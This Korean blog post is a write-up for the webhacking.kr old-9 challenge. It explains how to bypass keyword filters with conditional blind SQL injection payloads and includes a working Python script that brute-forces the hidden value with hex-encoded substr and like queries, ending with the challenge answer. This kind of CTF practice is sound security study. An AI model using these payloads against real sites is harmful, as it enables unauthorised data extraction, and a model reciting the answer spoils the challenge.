문제에 접속해 보면 1, 2, 3이 있고
각 번호를 누르면
url을 보면 no파라미터로 번호를 받고 있고 no=3을 들어갔을 때 컬럼과 3번의 id가 password라고 출력되는 걸 확인할 수 있다.
우선 코드가 공개되어 있지 않지만 sql injection인 게 유력하므로 쿼리문을 유추해 보면
mysqli_fetch_array(mysqli_query($db,"select id, no from chall9 where no=? ”));일것으로 예상된다.
sql injection 시도해 본 결과
필터링 목록 : union, select, ‘, =, -,+,%, <, >, char, PROCEDURE, or, and, ||, 공백을 확인했고 더 많은 필터링이 존재할 것이다.
처음에 컬럼값을 확인해야 하므로 union이나 procedure이 가장 유력했는데 필터링이 되어 있었다.
그래서 blind sql injection을 시도했는데
no값이 존재하지 않는 값이면 처음 화면을 보여주었고 해당 값이 있으면 1,2,3 화면과 같이 id가 출력되었다.
그래서 no=if(length(id)like(i),3,123)을 만들어 참일 때는 3을 넣고 아닐 때는 123을 넣어 출력값의 차이를 만들어 조건문을 만들었다.
여기서 핵심인 게 id값은 no값에 따라 3개가 존재하는데 어떻게 정확하게 3번 id를 출력하냐인데
우리가 쿼리문을 작성하면 쿼리문은 각각의 컬럼값들을 비교해서 참인 값을 출력하는 과정을 가진다.
즉, id가 Apple일 때 Banana일때 ???일때 각각 따로 비교된다는 말이다.
예를 들면
?no=length(id)=6이라는 파라미터를 예로 들면
select id, no from chall9 where no=length(id)=6이 쿼리문으로 들어갈 것이고 각각의 컬럼값에 비교가 될 것이다.
no | id |
1 | Apple |
2 | Banana |
3 | ??? |
조건문 결과는
Apple일 경우 -> 0
Banana일 경우 -> 1
??? 일 경우(길이가 6이 아니라는 가정하에) -> 0
그러면 Banana일 경우에 조건문 결과가 1이 나왔으므로 no=1 즉, 출력은 Apple이 나오는 건가?
그렇지 않다. no=1이라는 자체가 length(id)=6, id=Banana일 때 나온 값이므로 id가 apple값이 나오는 건 성립되지 않는다.
그럼 성립되는 경우도 설명을 해보면
?no=length(id)=5이라는 파라미터를 입력하면
Apple일 경우 -> 1
Banana일 경우 -> 0
??? 일 경우(길이가 5가 아니라는 가정하에) -> 0
이때는 조건문 결과가 1이 나올 때 id가 Apple이라는 가정하에 나온 값이고 실제로 no=1은 Apple이므로
Apple이 출력된다.
이러한 개념을 토대로
no=if(length(id)like(i),3,123)으로 파라미터를 작성하게 되면 다른 id의 길이값이 들어가 조건문이 참이되어도 3이 들어가기 때문에 아무런 값도 출력되지 않고 3번 id의 길이가 참이 될 때만 3이 들어가 값이 출력된다.
이렇게 pw의 길이를 알아내게 되면 값을 출력해야 되는데 우리는 싱글쿼터와 char함수를 필터링되었으므로 0x를 이용해 hex값으로 출력하면
import requests
pw=""
url="https://webhacking.kr/challenge/web-09/index.php"
cookies={"PHPSESSID":"0pau5r565eckd9hij5j6i87pqo"}
string=["61","62","63","64","65","66","67","68","69","6a","6b","6c","6d","6e","6f","70","71","72","73","74","75","76","77","78","79","7a"]
#string값은 a~z, 1~9값이 들어갔다
for i in range(1,100): # 길이 구하기
res=requests.post(url+f"?no=if(length(id)like({i}),3,0)",cookies=cookies)
if "Secret" in res.text:
length = i
print("length:",i)
break
for i in range(1,length+1): #pw값 구하기
print(f"{i}번째")
for j in string:
res=requests.post(url+f"?no=if(substr(id,{i},1)like(0x{j}),3,0)",cookies=cookies)
if "Secret" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
해당하는 hex값을 문자열로 변환해 보면
alsrkswhaql가 나온다.
'Web > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr Challenge old-8 문제 풀이 (0) | 2024.03.19 |
---|---|
Webhacking.kr Challenge alien golf 문제 풀이 (0) | 2024.03.18 |
Webhacking.kr Challenge old-45 문제 풀이 (0) | 2024.03.14 |
Webhacking.kr Challenge old-4 문제 풀이 (0) | 2024.03.07 |
Webhacking.kr Challenge old-46 문제 풀이 (0) | 2024.03.05 |